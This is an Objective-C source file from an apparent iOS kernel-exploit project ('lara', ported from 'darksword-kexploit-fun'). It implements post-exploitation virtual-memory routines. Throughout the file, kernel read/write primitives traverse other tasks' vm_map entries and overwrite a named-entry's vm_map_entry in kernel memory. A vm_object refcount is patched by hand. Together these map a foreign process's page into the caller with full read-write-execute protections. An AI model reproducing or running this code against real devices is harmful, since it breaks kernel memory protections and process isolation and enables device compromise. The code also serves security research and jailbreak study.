//
//  vm.m
//  lara
//
//  Ported from darksword-kexploit-fun
//

#import <Foundation/Foundation.h>
#import "remotecall.h"
#import "vm.h"
#import "offsets.h"
#import "darksword.h"
#import "utils.h"

#define VM_PAGE_PACKED_PTR_BITS                         31
#define VM_PAGE_PACKED_PTR_SHIFT                        6
#define VM_KERNEL_POINTER_SIGNIFICANT_BITS              38
#define PAGE_MASK_K                                     (PAGE_SIZE - 1ULL)

extern kern_return_t mach_vm_allocate(task_t task, mach_vm_address_t *addr, mach_vm_size_t size, int flags);
extern kern_return_t mach_vm_deallocate(task_t task, mach_vm_address_t addr, mach_vm_size_t size);
extern kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);

uint64_t vmmapgetheader(uint64_t vmmaptptr) {
    return vmmaptptr + off_vm_map_hdr;
}

uint64_t vmmapheadergetfirstentry(uint64_t vmheaderptr) {
    return ds_kreadptr(vmheaderptr + off_vm_map_header_links_next);
}

uint64_t vmmapheadergetnextentry(uint64_t vmentryptr) {
    return ds_kreadptr(vmentryptr + off_vm_map_entry_links_next);
}

uint32_t vmmapheadergetnentries(uint64_t vmheaderptr) {
    return ds_kread32(vmheaderptr + off_vm_map_header_nentries);
}

void vmentrygetrange(uint64_t vmentryptr, uint64_t *startaddrout, uint64_t *endaddrout) {
    uint64_t range[2];
    ds_kreadbuf(vmentryptr + 0x10, &range[0], sizeof(range));
    if (startaddrout) *startaddrout = range[0];
    if (endaddrout) *endaddrout = range[1];
}

void vmmapiterateentries(uint64_t vmmaptptr, void (^itblock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) {
    uint64_t header = vmmapgetheader(vmmaptptr);
    uint64_t entry = vmmapheadergetfirstentry(header);
    uint64_t nentries = vmmapheadergetnentries(header);

    while (entry != 0 && nentries > 0) {
        uint64_t start = 0, end = 0;
        vmentrygetrange(entry, &start, &end);

        BOOL stop = NO;
        itblock(start, end, entry, &stop);
        if (stop) break;

        entry = vmmapheadergetnextentry(entry);
        nentries--;
    }
}

uint64_t vmmapfindentry(uint64_t vmmaptptr, uint64_t address) {
    __block uint64_t found_entry = 0;
    vmmapiterateentries(vmmaptptr, ^(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop) {
        if (address >= start && address < end) {
            found_entry = entry;
            *stop = YES;
        }
    });
    return found_entry;
}

bool VM_PACKING_IS_BASE_RELATIVE(struct vmpackingparams *p) {
    return (p->vmpp_bits + p->vmpp_shift) <= VM_KERNEL_POINTER_SIGNIFICANT_BITS;
}

uint64_t vmunpackptr(uint64_t packed, struct vmpackingparams *params) {
    if (!params->vmpp_base_relative) {
        int64_t addr = (int64_t)packed;
        addr <<= (64 - params->vmpp_bits);
        addr >>= (64 - params->vmpp_bits - params->vmpp_shift);
        return (uint64_t)addr;
    }
    
    if (packed) {
        return (packed << params->vmpp_shift) + params->vmpp_base;
    }
    
    return 0;
}

uint64_t vmpackptr(uint64_t ptr, struct vmpackingparams *params) {
    if (!params->vmpp_base_relative) {
        return ptr >> params->vmpp_shift;
    }
    
    if (ptr) {
        return (ptr - params->vmpp_base) >> params->vmpp_shift;
    }
    
    return 0;
}

uint64_t VME_OFFSET(uint64_t vmeoffraw) {
    return vmeoffraw << 12;
}

struct vmobj vmgetptr(uint64_t map, uint64_t address) {
    struct vmobj result = {0};
 
    uint64_t entryaddr = vmmapfindentry(map, address);
    if (!entryaddr) {
        printf("(vm) vmmapfindentry failed\n");
        return result;
    }
 
    struct vmmapentry entry = {0};
    ds_kreadbuf(entryaddr, &entry, sizeof(struct vmmapentry));
 
    struct vmpackingparams params = {0};
    params.vmpp_base  = VM_MIN_KERNEL_ADDRESS;
    params.vmpp_bits  = VM_PAGE_PACKED_PTR_BITS;
    params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT;
    params.vmpp_base_relative = VM_PACKING_IS_BASE_RELATIVE(&params) ? 1 : 0;
 
    uint32_t vmeobject = entry.vme_object_or_delta;
    uint64_t vmeobj = vmunpackptr((uint64_t)vmeobject, &params);
    uint64_t vmeoffraw = entry.vme_offset;
    uint64_t objoffs = VME_OFFSET(vmeoffraw);
    uint64_t entryoffs = address - entry.links.start + objoffs;
 
    result.vmAddress    = address;
    result.address      = vmeobj;
    result.objectOffset = objoffs;
    result.entryOffset  = entryoffs;
 
    return result;
}

struct vmshmem vmcreateshmemwithobj(struct vmobj *object) {
    struct vmshmem shmem = {0};
    
    uint64_t size = ds_kread64(object->address + off_vm_object_vo_un1_vou_size);
    size = mach_vm_round_page(size);
    uint64_t roundedsize = mach_vm_round_page(size);
 
    mach_vm_address_t localaddr = 0;
    kern_return_t ret = mach_vm_allocate(mach_task_self_, &localaddr, roundedsize, VM_FLAGS_ANYWHERE);
    if (ret != KERN_SUCCESS) {
        printf("(vm) mach_vm_allocate failed: %s\n", mach_error_string(ret));
        return shmem;
    }
 
    mach_port_t memobj = MACH_PORT_NULL;
    memory_object_size_t entrysize = roundedsize;
    ret = mach_make_memory_entry_64(mach_task_self_, &entrysize, (memory_object_offset_t)localaddr, VM_PROT_READ | VM_PROT_WRITE, &memobj, MACH_PORT_NULL);
    if (ret != KERN_SUCCESS) {
        printf("(vm) mach_make_memory_entry_64 failed: %s\n", mach_error_string(ret));
        mach_vm_deallocate(mach_task_self_, localaddr, roundedsize);
        return shmem;
    }
 
    uint64_t shmemnamedentry = task_get_ipc_port_kobject(task_self(), memobj);
    uint64_t shmemvmcopyaddr = ds_kread64(shmemnamedentry + off_vm_named_entry_backing_copy);
    uint64_t nextaddr        = ds_kread64(shmemvmcopyaddr + off_vm_named_entry_size);
 
    struct vmmapentry entry = {0};
    ds_kreadbuf(nextaddr, &entry, sizeof(struct vmmapentry));
    
    if (entry.vme_kernel_object || entry.is_sub_map) {
        printf("(vm) entry cannot be a submap or kernel object\n");
        mach_vm_deallocate(mach_task_self_, localaddr, roundedsize);
        return shmem;
    }
 
    struct vmpackingparams params = {0};
    params.vmpp_base  = VM_MIN_KERNEL_ADDRESS;
    params.vmpp_bits  = VM_PAGE_PACKED_PTR_BITS;
    params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT;
    params.vmpp_base_relative = VM_PACKING_IS_BASE_RELATIVE(&params) ? 1 : 0;
    uint64_t packedptr = vmpackptr(object->address, &params);
 
    uint32_t refcount = ds_kread32(object->address + off_vm_object_ref_count);
    refcount++;
    ds_kwrite32(object->address + off_vm_object_ref_count, refcount);
    
    entry.vme_object_or_delta = (uint32_t)packedptr;
    entry.vme_offset = object->objectOffset;
 
    ds_kwritezoneelement(nextaddr, &entry, sizeof(struct vmmapentry));
 
    mach_vm_address_t mappedaddr = 0;
    vm_prot_t curprot = VM_PROT_ALL | VM_PROT_IS_MASK;
    vm_prot_t maxprot = VM_PROT_ALL | VM_PROT_IS_MASK;
 
    ret = mach_vm_map(mach_task_self_, &mappedaddr, PAGE_SIZE, 0, VM_FLAGS_ANYWHERE, memobj, (memory_object_offset_t)object->entryOffset, FALSE, curprot, maxprot, VM_INHERIT_NONE);
    if (ret != KERN_SUCCESS) {
        printf("(vm) mach_vm_map failed: %s\n", mach_error_string(ret));
        mappedaddr = 0;
    }
 
    ret = mach_vm_deallocate(mach_task_self_, localaddr, roundedsize);
    if (ret != KERN_SUCCESS) {
        printf("(vm) mach_vm_deallocate failed: %s\n", mach_error_string(ret));
    }
 
    shmem.port          = (uint64_t)memobj;
    shmem.remoteAddress = object->vmAddress;
    shmem.localAddress  = (uint64_t)mappedaddr;
    shmem.used          = (mappedaddr != 0);
 
    return shmem;
}

struct vmshmem vmmapremotepage(uint64_t vmmap, uint64_t address) {
    struct vmshmem shmem = {0};
    struct vmobj vmobject = vmgetptr(vmmap, address);
    if (!vmobject.address) {
        printf("(vm) failed to get vm object for 0x%llx\n", (unsigned long long)address);
        return shmem;
    }
 
    return vmcreateshmemwithobj(&vmobject);
}
